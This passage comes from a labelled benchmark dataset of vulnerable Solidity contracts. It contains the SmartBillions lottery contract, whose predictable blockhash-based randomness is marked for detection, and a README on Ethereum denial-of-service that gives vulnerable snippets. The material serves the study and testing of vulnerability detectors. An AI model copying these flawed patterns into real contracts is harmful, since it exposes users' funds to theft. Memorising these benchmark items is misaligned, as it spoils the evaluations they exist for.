// <yes> <report> BAD_RANDOMNESS
|
||||
uint256 y = salt * block.number / (salt % 5);
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint256 seed = block.number / 3 + (salt % 300) + y;
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
uint256 h = uint256(blockhash(seed));
|
||||
// Random number between 1 and max
|
||||
return uint256((h / x)) % max + 1;
|
||||
}
|
||||
}
|
||||
771
dataset/bad_randomness/smart_billions.sol
Normal file
771
dataset/bad_randomness/smart_billions.sol
Normal file
@@ -0,0 +1,771 @@
|
||||
/*
|
||||
* @source: https://etherscan.io/address/0x5ace17f87c7391e5792a7683069a8025b83bbd85#code
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 523,560,700,702,704,706,708,710,712,714,716,718
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.13;
|
||||
|
||||
library SafeMath {
|
||||
function sub(uint a, uint b) internal returns (uint) {
|
||||
assert(b <= a);
|
||||
return a - b;
|
||||
}
|
||||
function add(uint a, uint b) internal returns (uint) {
|
||||
uint c = a + b;
|
||||
assert(c >= a);
|
||||
return c;
|
||||
}
|
||||
}
|
||||
|
||||
contract ERC20Basic {
|
||||
uint public totalSupply;
|
||||
address public owner; //owner
|
||||
address public animator; //animator
|
||||
function balanceOf(address who) constant returns (uint);
|
||||
function transfer(address to, uint value);
|
||||
event Transfer(address indexed from, address indexed to, uint value);
|
||||
function commitDividend(address who) internal; // pays remaining dividend
|
||||
}
|
||||
|
||||
contract ERC20 is ERC20Basic {
|
||||
function allowance(address owner, address spender) constant returns (uint);
|
||||
function transferFrom(address from, address to, uint value);
|
||||
function approve(address spender, uint value);
|
||||
event Approval(address indexed owner, address indexed spender, uint value);
|
||||
}
|
||||
|
||||
contract BasicToken is ERC20Basic {
|
||||
using SafeMath for uint;
|
||||
mapping(address => uint) balances;
|
||||
|
||||
modifier onlyPayloadSize(uint size) {
|
||||
assert(msg.data.length >= size + 4);
|
||||
_;
|
||||
}
|
||||
/**
|
||||
* @dev transfer token for a specified address
|
||||
* @param _to The address to transfer to.
|
||||
* @param _value The amount to be transferred.
|
||||
*/
|
||||
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
|
||||
commitDividend(msg.sender);
|
||||
balances[msg.sender] = balances[msg.sender].sub(_value);
|
||||
if(_to == address(this)) {
|
||||
commitDividend(owner);
|
||||
balances[owner] = balances[owner].add(_value);
|
||||
Transfer(msg.sender, owner, _value);
|
||||
}
|
||||
else {
|
||||
commitDividend(_to);
|
||||
balances[_to] = balances[_to].add(_value);
|
||||
Transfer(msg.sender, _to, _value);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* @dev Gets the balance of the specified address.
|
||||
* @param _owner The address to query the the balance of.
|
||||
* @return An uint representing the amount owned by the passed address.
|
||||
*/
|
||||
function balanceOf(address _owner) constant returns (uint balance) {
|
||||
return balances[_owner];
|
||||
}
|
||||
}
|
||||
|
||||
contract StandardToken is BasicToken, ERC20 {
|
||||
mapping (address => mapping (address => uint)) allowed;
|
||||
|
||||
/**
|
||||
* @dev Transfer tokens from one address to another
|
||||
* @param _from address The address which you want to send tokens from
|
||||
* @param _to address The address which you want to transfer to
|
||||
* @param _value uint the amout of tokens to be transfered
|
||||
*/
|
||||
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
|
||||
var _allowance = allowed[_from][msg.sender];
|
||||
commitDividend(_from);
|
||||
commitDividend(_to);
|
||||
balances[_to] = balances[_to].add(_value);
|
||||
balances[_from] = balances[_from].sub(_value);
|
||||
allowed[_from][msg.sender] = _allowance.sub(_value);
|
||||
Transfer(_from, _to, _value);
|
||||
}
|
||||
/**
|
||||
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
|
||||
* @param _spender The address which will spend the funds.
|
||||
* @param _value The amount of tokens to be spent.
|
||||
*/
|
||||
function approve(address _spender, uint _value) {
|
||||
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
|
||||
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
|
||||
allowed[msg.sender][_spender] = _value;
|
||||
Approval(msg.sender, _spender, _value);
|
||||
}
|
||||
/**
|
||||
* @dev Function to check the amount of tokens than an owner allowed to a spender.
|
||||
* @param _owner address The address which owns the funds.
|
||||
* @param _spender address The address which will spend the funds.
|
||||
* @return A uint specifing the amount of tokens still avaible for the spender.
|
||||
*/
|
||||
function allowance(address _owner, address _spender) constant returns (uint remaining) {
|
||||
return allowed[_owner][_spender];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @title SmartBillions contract
|
||||
*/
|
||||
contract SmartBillions is StandardToken {
|
||||
|
||||
// metadata
|
||||
string public constant name = "SmartBillions Token";
|
||||
string public constant symbol = "PLAY";
|
||||
uint public constant decimals = 0;
|
||||
|
||||
// contract state
|
||||
struct Wallet {
|
||||
uint208 balance; // current balance of user
|
||||
uint16 lastDividendPeriod; // last processed dividend period of user's tokens
|
||||
uint32 nextWithdrawBlock; // next withdrawal possible after this block number
|
||||
}
|
||||
mapping (address => Wallet) wallets;
|
||||
struct Bet {
|
||||
uint192 value; // bet size
|
||||
uint32 betHash; // selected numbers
|
||||
uint32 blockNum; // blocknumber when lottery runs
|
||||
}
|
||||
mapping (address => Bet) bets;
|
||||
|
||||
uint public walletBalance = 0; // sum of funds in wallets
|
||||
|
||||
// investment parameters
|
||||
uint public investStart = 1; // investment start block, 0: closed, 1: preparation
|
||||
uint public investBalance = 0; // funding from investors
|
||||
uint public investBalanceMax = 200000 ether; // maximum funding
|
||||
uint public dividendPeriod = 1;
|
||||
uint[] public dividends; // dividens collected per period, growing array
|
||||
|
||||
// betting parameters
|
||||
uint public maxWin = 0; // maximum prize won
|
||||
uint public hashFirst = 0; // start time of building hashes database
|
||||
uint public hashLast = 0; // last saved block of hashes
|
||||
uint public hashNext = 0; // next available bet block.number
|
||||
uint public hashBetSum = 0; // used bet volume of next block
|
||||
uint public hashBetMax = 5 ether; // maximum bet size per block
|
||||
uint[] public hashes; // space for storing lottery results
|
||||
|
||||
// constants
|
||||
//uint public constant hashesSize = 1024 ; // DEBUG ONLY !!!
|
||||
uint public constant hashesSize = 16384 ; // 30 days of blocks
|
||||
uint public coldStoreLast = 0 ; // block of last cold store transfer
|
||||
|
||||
// events
|
||||
event LogBet(address indexed player, uint bethash, uint blocknumber, uint betsize);
|
||||
event LogLoss(address indexed player, uint bethash, uint hash);
|
||||
event LogWin(address indexed player, uint bethash, uint hash, uint prize);
|
||||
event LogInvestment(address indexed investor, address indexed partner, uint amount);
|
||||
event LogRecordWin(address indexed player, uint amount);
|
||||
event LogLate(address indexed player,uint playerBlockNumber,uint currentBlockNumber);
|
||||
event LogDividend(address indexed investor, uint amount, uint period);
|
||||
|
||||
modifier onlyOwner() {
|
||||
assert(msg.sender == owner);
|
||||
_;
|
||||
}
|
||||
|
||||
modifier onlyAnimator() {
|
||||
assert(msg.sender == animator);
|
||||
_;
|
||||
}
|
||||
|
||||
// constructor
|
||||
function SmartBillions() {
|
||||
owner = msg.sender;
|
||||
animator = msg.sender;
|
||||
wallets[owner].lastDividendPeriod = uint16(dividendPeriod);
|
||||
dividends.push(0); // not used
|
||||
dividends.push(0); // current dividend
|
||||
}
|
||||
|
||||
/* getters */
|
||||
|
||||
/**
|
||||
* @dev Show length of allocated swap space
|
||||
*/
|
||||
function hashesLength() constant external returns (uint) {
|
||||
return uint(hashes.length);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show balance of wallet
|
||||
* @param _owner The address of the account.
|
||||
*/
|
||||
function walletBalanceOf(address _owner) constant external returns (uint) {
|
||||
return uint(wallets[_owner].balance);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show last dividend period processed
|
||||
* @param _owner The address of the account.
|
||||
*/
|
||||
function walletPeriodOf(address _owner) constant external returns (uint) {
|
||||
return uint(wallets[_owner].lastDividendPeriod);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show block number when withdraw can continue
|
||||
* @param _owner The address of the account.
|
||||
*/
|
||||
function walletBlockOf(address _owner) constant external returns (uint) {
|
||||
return uint(wallets[_owner].nextWithdrawBlock);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show bet size.
|
||||
* @param _owner The address of the player.
|
||||
*/
|
||||
function betValueOf(address _owner) constant external returns (uint) {
|
||||
return uint(bets[_owner].value);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show block number of lottery run for the bet.
|
||||
* @param _owner The address of the player.
|
||||
*/
|
||||
function betHashOf(address _owner) constant external returns (uint) {
|
||||
return uint(bets[_owner].betHash);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Show block number of lottery run for the bet.
|
||||
* @param _owner The address of the player.
|
||||
*/
|
||||
function betBlockNumberOf(address _owner) constant external returns (uint) {
|
||||
return uint(bets[_owner].blockNum);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Print number of block till next expected dividend payment
|
||||
*/
|
||||
function dividendsBlocks() constant external returns (uint) {
|
||||
if(investStart > 0) {
|
||||
return(0);
|
||||
}
|
||||
uint period = (block.number - hashFirst) / (10 * hashesSize);
|
||||
if(period > dividendPeriod) {
|
||||
return(0);
|
||||
}
|
||||
return((10 * hashesSize) - ((block.number - hashFirst) % (10 * hashesSize)));
|
||||
}
|
||||
|
||||
/* administrative functions */
|
||||
|
||||
/**
|
||||
* @dev Change owner.
|
||||
* @param _who The address of new owner.
|
||||
*/
|
||||
function changeOwner(address _who) external onlyOwner {
|
||||
assert(_who != address(0));
|
||||
commitDividend(msg.sender);
|
||||
commitDividend(_who);
|
||||
owner = _who;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Change animator.
|
||||
* @param _who The address of new animator.
|
||||
*/
|
||||
function changeAnimator(address _who) external onlyAnimator {
|
||||
assert(_who != address(0));
|
||||
commitDividend(msg.sender);
|
||||
commitDividend(_who);
|
||||
animator = _who;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Set ICO Start block.
|
||||
* @param _when The block number of the ICO.
|
||||
*/
|
||||
function setInvestStart(uint _when) external onlyOwner {
|
||||
require(investStart == 1 && hashFirst > 0 && block.number < _when);
|
||||
investStart = _when;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Set maximum bet size per block
|
||||
* @param _maxsum The maximum bet size in wei.
|
||||
*/
|
||||
function setBetMax(uint _maxsum) external onlyOwner {
|
||||
hashBetMax = _maxsum;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Reset bet size accounting, to increase bet volume above safe limits
|
||||
*/
|
||||
function resetBet() external onlyOwner {
|
||||
hashNext = block.number + 3;
|
||||
hashBetSum = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Move funds to cold storage
|
||||
* @dev investBalance and walletBalance is protected from withdraw by owner
|
||||
* @dev if funding is > 50% admin can withdraw only 0.25% of balance weakly
|
||||
* @param _amount The amount of wei to move to cold storage
|
||||
*/
|
||||
function coldStore(uint _amount) external onlyOwner {
|
||||
houseKeeping();
|
||||
require(_amount > 0 && this.balance >= (investBalance * 9 / 10) + walletBalance + _amount);
|
||||
if(investBalance >= investBalanceMax / 2){ // additional jackpot protection
|
||||
require((_amount <= this.balance / 400) && coldStoreLast + 4 * 60 * 24 * 7 <= block.number);
|
||||
}
|
||||
msg.sender.transfer(_amount);
|
||||
coldStoreLast = block.number;
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Move funds to contract jackpot
|
||||
*/
|
||||
function hotStore() payable external {
|
||||
houseKeeping();
|
||||
}
|
||||
|
||||
/* housekeeping functions */
|
||||
|
||||
/**
|
||||
* @dev Update accounting
|
||||
*/
|
||||
function houseKeeping() public {
|
||||
if(investStart > 1 && block.number >= investStart + (hashesSize * 5)){ // ca. 14 days
|
||||
investStart = 0; // start dividend payments
|
||||
}
|
||||
else {
|
||||
if(hashFirst > 0){
|
||||
uint period = (block.number - hashFirst) / (10 * hashesSize );
|
||||
if(period > dividends.length - 2) {
|
||||
dividends.push(0);
|
||||
}
|
||||
if(period > dividendPeriod && investStart == 0 && dividendPeriod < dividends.length - 1) {
|
||||
dividendPeriod++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* payments */
|
||||
|
||||
/**
|
||||
* @dev Pay balance from wallet
|
||||
*/
|
||||
function payWallet() public {
|
||||
if(wallets[msg.sender].balance > 0 && wallets[msg.sender].nextWithdrawBlock <= block.number){
|
||||
uint balance = wallets[msg.sender].balance;
|
||||
wallets[msg.sender].balance = 0;
|
||||
walletBalance -= balance;
|
||||
pay(balance);
|
||||
}
|
||||
}
|
||||
|
||||
function pay(uint _amount) private {
|
||||
uint maxpay = this.balance / 2;
|
||||
if(maxpay >= _amount) {
|
||||
msg.sender.transfer(_amount);
|
||||
if(_amount > 1 finney) {
|
||||
houseKeeping();
|
||||
}
|
||||
}
|
||||
else {
|
||||
uint keepbalance = _amount - maxpay;
|
||||
walletBalance += keepbalance;
|
||||
wallets[msg.sender].balance += uint208(keepbalance);
|
||||
wallets[msg.sender].nextWithdrawBlock = uint32(block.number + 4 * 60 * 24 * 30); // wait 1 month for more funds
|
||||
msg.sender.transfer(maxpay);
|
||||
}
|
||||
}
|
||||
|
||||
/* investment functions */
|
||||
|
||||
/**
|
||||
* @dev Buy tokens
|
||||
*/
|
||||
function investDirect() payable external {
|
||||
invest(owner);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Buy tokens with affiliate partner
|
||||
* @param _partner Affiliate partner
|
||||
*/
|
||||
function invest(address _partner) payable public {
|
||||
//require(fromUSA()==false); // fromUSA() not yet implemented :-(
|
||||
require(investStart > 1 && block.number < investStart + (hashesSize * 5) && investBalance < investBalanceMax);
|
||||
uint investing = msg.value;
|
||||
if(investing > investBalanceMax - investBalance) {
|
||||
investing = investBalanceMax - investBalance;
|
||||
investBalance = investBalanceMax;
|
||||
investStart = 0; // close investment round
|
||||
msg.sender.transfer(msg.value.sub(investing)); // send back funds immediately
|
||||
}
|
||||
else{
|
||||
investBalance += investing;
|
||||
}
|
||||
if(_partner == address(0) || _partner == owner){
|
||||
walletBalance += investing / 10;
|
||||
wallets[owner].balance += uint208(investing / 10);} // 10% for marketing if no affiliates
|
||||
else{
|
||||
walletBalance += (investing * 5 / 100) * 2;
|
||||
wallets[owner].balance += uint208(investing * 5 / 100); // 5% initial marketing funds
|
||||
wallets[_partner].balance += uint208(investing * 5 / 100);} // 5% for affiliates
|
||||
wallets[msg.sender].lastDividendPeriod = uint16(dividendPeriod); // assert(dividendPeriod == 1);
|
||||
uint senderBalance = investing / 10**15;
|
||||
uint ownerBalance = investing * 16 / 10**17 ;
|
||||
uint animatorBalance = investing * 10 / 10**17 ;
|
||||
balances[msg.sender] += senderBalance;
|
||||
balances[owner] += ownerBalance ; // 13% of shares go to developers
|
||||
balances[animator] += animatorBalance ; // 8% of shares go to animator
|
||||
totalSupply += senderBalance + ownerBalance + animatorBalance;
|
||||
Transfer(address(0),msg.sender,senderBalance); // for etherscan
|
||||
Transfer(address(0),owner,ownerBalance); // for etherscan
|
||||
Transfer(address(0),animator,animatorBalance); // for etherscan
|
||||
LogInvestment(msg.sender,_partner,investing);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Delete all tokens owned by sender and return unpaid dividends and 90% of initial investment
|
||||
*/
|
||||
function disinvest() external {
|
||||
require(investStart == 0);
|
||||
commitDividend(msg.sender);
|
||||
uint initialInvestment = balances[msg.sender] * 10**15;
|
||||
Transfer(msg.sender,address(0),balances[msg.sender]); // for etherscan
|
||||
delete balances[msg.sender]; // totalSupply stays the same, investBalance is reduced
|
||||
investBalance -= initialInvestment;
|
||||
wallets[msg.sender].balance += uint208(initialInvestment * 9 / 10);
|
||||
payWallet();
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Pay unpaid dividends
|
||||
*/
|
||||
function payDividends() external {
|
||||
require(investStart == 0);
|
||||
commitDividend(msg.sender);
|
||||
payWallet();
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Commit remaining dividends before transfer of tokens
|
||||
*/
|
||||
function commitDividend(address _who) internal {
|
||||
uint last = wallets[_who].lastDividendPeriod;
|
||||
if((balances[_who]==0) || (last==0)){
|
||||
wallets[_who].lastDividendPeriod=uint16(dividendPeriod);
|
||||
return;
|
||||
}
|
||||
if(last==dividendPeriod) {
|
||||
return;
|
||||
}
|
||||
uint share = balances[_who] * 0xffffffff / totalSupply;
|
||||
uint balance = 0;
|
||||
for(;last<dividendPeriod;last++) {
|
||||
balance += share * dividends[last];
|
||||
}
|
||||
balance = (balance / 0xffffffff);
|
||||
walletBalance += balance;
|
||||
wallets[_who].balance += uint208(balance);
|
||||
wallets[_who].lastDividendPeriod = uint16(last);
|
||||
LogDividend(_who,balance,last);
|
||||
}
|
||||
|
||||
/* lottery functions */
|
||||
|
||||
function betPrize(Bet _player, uint24 _hash) constant private returns (uint) { // house fee 13.85%
|
||||
uint24 bethash = uint24(_player.betHash);
|
||||
uint24 hit = bethash ^ _hash;
|
||||
uint24 matches =
|
||||
((hit & 0xF) == 0 ? 1 : 0 ) +
|
||||
((hit & 0xF0) == 0 ? 1 : 0 ) +
|
||||
((hit & 0xF00) == 0 ? 1 : 0 ) +
|
||||
((hit & 0xF000) == 0 ? 1 : 0 ) +
|
||||
((hit & 0xF0000) == 0 ? 1 : 0 ) +
|
||||
((hit & 0xF00000) == 0 ? 1 : 0 );
|
||||
if(matches == 6){
|
||||
return(uint(_player.value) * 7000000);
|
||||
}
|
||||
if(matches == 5){
|
||||
return(uint(_player.value) * 20000);
|
||||
}
|
||||
if(matches == 4){
|
||||
return(uint(_player.value) * 500);
|
||||
}
|
||||
if(matches == 3){
|
||||
return(uint(_player.value) * 25);
|
||||
}
|
||||
if(matches == 2){
|
||||
return(uint(_player.value) * 3);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Check if won in lottery
|
||||
*/
|
||||
function betOf(address _who) constant external returns (uint) {
|
||||
Bet memory player = bets[_who];
|
||||
if( (player.value==0) ||
|
||||
(player.blockNum<=1) ||
|
||||
(block.number<player.blockNum) ||
|
||||
(block.number>=player.blockNum + (10 * hashesSize))){
|
||||
return(0);
|
||||
}
|
||||
if(block.number<player.blockNum+256){
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
return(betPrize(player,uint24(block.blockhash(player.blockNum))));
|
||||
}
|
||||
if(hashFirst>0){
|
||||
uint32 hash = getHash(player.blockNum);
|
||||
if(hash == 0x1000000) { // load hash failed :-(, return funds
|
||||
return(uint(player.value));
|
||||
}
|
||||
else{
|
||||
return(betPrize(player,uint24(hash)));
|
||||
}
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Check if won in lottery
|
||||
*/
|
||||
function won() public {
|
||||
Bet memory player = bets[msg.sender];
|
||||
if(player.blockNum==0){ // create a new player
|
||||
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
|
||||
return;
|
||||
}
|
||||
if((player.value==0) || (player.blockNum==1)){
|
||||
payWallet();
|
||||
return;
|
||||
}
|
||||
require(block.number>player.blockNum); // if there is an active bet, throw()
|
||||
if(player.blockNum + (10 * hashesSize) <= block.number){ // last bet too long ago, lost !
|
||||
LogLate(msg.sender,player.blockNum,block.number);
|
||||
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
|
||||
return;
|
||||
}
|
||||
uint prize = 0;
|
||||
uint32 hash = 0;
|
||||
if(block.number<player.blockNum+256){
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
hash = uint24(block.blockhash(player.blockNum));
|
||||
prize = betPrize(player,uint24(hash));
|
||||
}
|
||||
else {
|
||||
if(hashFirst>0){ // lottery is open even before swap space (hashes) is ready, but player must collect results within 256 blocks after run
|
||||
hash = getHash(player.blockNum);
|
||||
if(hash == 0x1000000) { // load hash failed :-(, return funds
|
||||
prize = uint(player.value);
|
||||
}
|
||||
else{
|
||||
prize = betPrize(player,uint24(hash));
|
||||
}
|
||||
}
|
||||
else{
|
||||
LogLate(msg.sender,player.blockNum,block.number);
|
||||
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
|
||||
return();
|
||||
}
|
||||
}
|
||||
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
|
||||
if(prize>0) {
|
||||
LogWin(msg.sender,uint(player.betHash),uint(hash),prize);
|
||||
if(prize > maxWin){
|
||||
maxWin = prize;
|
||||
LogRecordWin(msg.sender,prize);
|
||||
}
|
||||
pay(prize);
|
||||
}
|
||||
else{
|
||||
LogLoss(msg.sender,uint(player.betHash),uint(hash));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Send ether to buy tokens during ICO
|
||||
* @dev or send less than 1 ether to contract to play
|
||||
* @dev or send 0 to collect prize
|
||||
*/
|
||||
function () payable external {
|
||||
if(msg.value > 0){
|
||||
if(investStart>1){ // during ICO payment to the contract is treated as investment
|
||||
invest(owner);
|
||||
}
|
||||
else{ // if not ICO running payment to contract is treated as play
|
||||
play();
|
||||
}
|
||||
return;
|
||||
}
|
||||
//check for dividends and other assets
|
||||
if(investStart == 0 && balances[msg.sender]>0){
|
||||
commitDividend(msg.sender);}
|
||||
won(); // will run payWallet() if nothing else available
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Play in lottery
|
||||
*/
|
||||
function play() payable public returns (uint) {
|
||||
return playSystem(uint(sha3(msg.sender,block.number)), address(0));
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Play in lottery with random numbers
|
||||
* @param _partner Affiliate partner
|
||||
*/
|
||||
function playRandom(address _partner) payable public returns (uint) {
|
||||
return playSystem(uint(sha3(msg.sender,block.number)), _partner);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Play in lottery with own numbers
|
||||
* @param _partner Affiliate partner
|
||||
*/
|
||||
function playSystem(uint _hash, address _partner) payable public returns (uint) {
|
||||
won(); // check if player did not win
|
||||
uint24 bethash = uint24(_hash);
|
||||
require(msg.value <= 1 ether && msg.value < hashBetMax);
|
||||
if(msg.value > 0){
|
||||
if(investStart==0) { // dividends only after investment finished
|
||||
dividends[dividendPeriod] += msg.value / 20; // 5% dividend
|
||||
}
|
||||
if(_partner != address(0)) {
|
||||
uint fee = msg.value / 100;
|
||||
walletBalance += fee;
|
||||
wallets[_partner].balance += uint208(fee); // 1% for affiliates
|
||||
}
|
||||
if(hashNext < block.number + 3) {
|
||||
hashNext = block.number + 3;
|
||||
hashBetSum = msg.value;
|
||||
}
|
||||
else{
|
||||
if(hashBetSum > hashBetMax) {
|
||||
hashNext++;
|
||||
hashBetSum = msg.value;
|
||||
}
|
||||
else{
|
||||
hashBetSum += msg.value;
|
||||
}
|
||||
}
|
||||
bets[msg.sender] = Bet({value: uint192(msg.value), betHash: uint32(bethash), blockNum: uint32(hashNext)});
|
||||
LogBet(msg.sender,uint(bethash),hashNext,msg.value);
|
||||
}
|
||||
putHash(); // players help collecing data
|
||||
return(hashNext);
|
||||
}
|
||||
|
||||
/* database functions */
|
||||
|
||||
/**
|
||||
* @dev Create hash data swap space
|
||||
* @param _sadd Number of hashes to add (<=256)
|
||||
*/
|
||||
function addHashes(uint _sadd) public returns (uint) {
|
||||
require(hashFirst == 0 && _sadd > 0 && _sadd <= hashesSize);
|
||||
uint n = hashes.length;
|
||||
if(n + _sadd > hashesSize){
|
||||
hashes.length = hashesSize;
|
||||
}
|
||||
else{
|
||||
hashes.length += _sadd;
|
||||
}
|
||||
for(;n<hashes.length;n++){ // make sure to burn gas
|
||||
hashes[n] = 1;
|
||||
}
|
||||
if(hashes.length>=hashesSize) { // assume block.number > 10
|
||||
hashFirst = block.number - ( block.number % 10);
|
||||
hashLast = hashFirst;
|
||||
}
|
||||
return(hashes.length);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Create hash data swap space, add 128 hashes
|
||||
*/
|
||||
function addHashes128() external returns (uint) {
|
||||
return(addHashes(128));
|
||||
}
|
||||
|
||||
function calcHashes(uint32 _lastb, uint32 _delta) constant private returns (uint) {
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
return( ( uint(block.blockhash(_lastb )) & 0xFFFFFF )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+1)) & 0xFFFFFF ) << 24 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+2)) & 0xFFFFFF ) << 48 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+3)) & 0xFFFFFF ) << 72 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+4)) & 0xFFFFFF ) << 96 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+5)) & 0xFFFFFF ) << 120 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+6)) & 0xFFFFFF ) << 144 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+7)) & 0xFFFFFF ) << 168 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+8)) & 0xFFFFFF ) << 192 )
|
||||
// <yes> <report> BAD_RANDOMNESS
|
||||
| ( ( uint(block.blockhash(_lastb+9)) & 0xFFFFFF ) << 216 )
|
||||
| ( ( uint(_delta) / hashesSize) << 240));
|
||||
}
|
||||
|
||||
function getHash(uint _block) constant private returns (uint32) {
|
||||
uint delta = (_block - hashFirst) / 10;
|
||||
uint hash = hashes[delta % hashesSize];
|
||||
if(delta / hashesSize != hash >> 240) {
|
||||
return(0x1000000); // load failed, incorrect data in hashes
|
||||
}
|
||||
uint slotp = (_block - hashFirst) % 10;
|
||||
return(uint32((hash >> (24 * slotp)) & 0xFFFFFF));
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Fill hash data
|
||||
*/
|
||||
function putHash() public returns (bool) {
|
||||
uint lastb = hashLast;
|
||||
if(lastb == 0 || block.number <= lastb + 10) {
|
||||
return(false);
|
||||
}
|
||||
uint blockn256;
|
||||
if(block.number<256) { // useless test for testnet :-(
|
||||
blockn256 = 0;
|
||||
}
|
||||
else{
|
||||
blockn256 = block.number - 256;
|
||||
}
|
||||
if(lastb < blockn256) {
|
||||
uint num = blockn256;
|
||||
num += num % 10;
|
||||
lastb = num;
|
||||
}
|
||||
uint delta = (lastb - hashFirst) / 10;
|
||||
hashes[delta % hashesSize] = calcHashes(uint32(lastb),uint32(delta));
|
||||
hashLast = lastb + 10;
|
||||
return(true);
|
||||
}
|
||||
|
||||
/**
|
||||
* @dev Fill hash data many times
|
||||
* @param _num Number of iterations
|
||||
*/
|
||||
function putHashes(uint _num) external {
|
||||
uint n=0;
|
||||
for(;n<_num;n++){
|
||||
if(!putHash()){
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
35
dataset/denial_of_service/README.md
Executable file
35
dataset/denial_of_service/README.md
Executable file
@@ -0,0 +1,35 @@
|
||||
# Denial Of Service
|
||||
Including gas limit reached, unexpected throw, unexpected kill, access control breached.
|
||||
|
||||
Denial of service is deadly in the world of Ethereum: while other types of applications can eventually recover, smart contracts can be taken offline forever by just one of these attacks. Many ways lead to denials of service, including maliciously behaving when being the recipient of a transaction, artificially increasing the gas necessary to compute a function, abusing access controls to access private components of smart contracts, taking advantage of mixups and negligence, etc. This class of attack includes many different variants and will probably see a lot of development in the years to come.
|
||||
|
||||
Loss: estimated at 514,874 ETH (~300M USD at the time)
|
||||
|
||||
## Attack Scenario
|
||||
An auction contract allows its users to bid on different assets.
|
||||
To bid, a user must call a bid(uint object) function with the desired amount of ether. The auction contract will store the ether in escrow until the object's owner accepts the bid or the initial bidder cancels it. This means that the auction contract must hold the full value of any unresolved bid in its balance.
|
||||
The auction contract also contains a withdraw(uint amount) function which allows admins to retrieve funds from the contract. As the function sends the amount to a hardcoded address, the developers have decided to make the function public.
|
||||
An attacker sees a potential attack and calls the function, directing all the contract's funds to its admins. This destroys the promise of escrow and blocks all the pending bids.
|
||||
While the admins might return the escrowed money to the contract, the attacker can continue the attack by simply withdrawing the funds again.
|
||||
|
||||
## Examples
|
||||
In the following example (inspired by King of the Ether) a function of a game contract allows you to become the president if you publicly bribe the previous one. Unfortunately, if the previous president is a smart contract and causes reversion on payment, the transfer of power will fail and the malicious smart contract will remain president forever. Sounds like a dictatorship to me:
|
||||
```
|
||||
function becomePresident() payable {
|
||||
require(msg.value >= price); // must pay the price to become president
|
||||
president.transfer(price); // we pay the previous president
|
||||
president = msg.sender; // we crown the new president
|
||||
price = price * 2; // we double the price to become president
|
||||
}
|
||||
```
|
||||
In this second example, a caller can decide who the next function call will reward. Because of the expensive instructions in the for loop, an attacker can introduce a number too large to iterate on (due to gas block limitations in Ethereum) which will effectively block the function from functioning.
|
||||
```
|
||||
function selectNextWinners(uint256 _largestWinner) {
|
||||
for(uint256 i = 0; i < largestWinner, i++) {
|
||||
// heavy code
|
||||
}
|
||||
largestWinner = _largestWinner;
|
||||
}
|
||||
```
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
29
dataset/denial_of_service/auction.sol
Normal file
29
dataset/denial_of_service/auction.sol
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/denial_of_service/auction.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 23
|
||||
*/
|
||||
|
||||
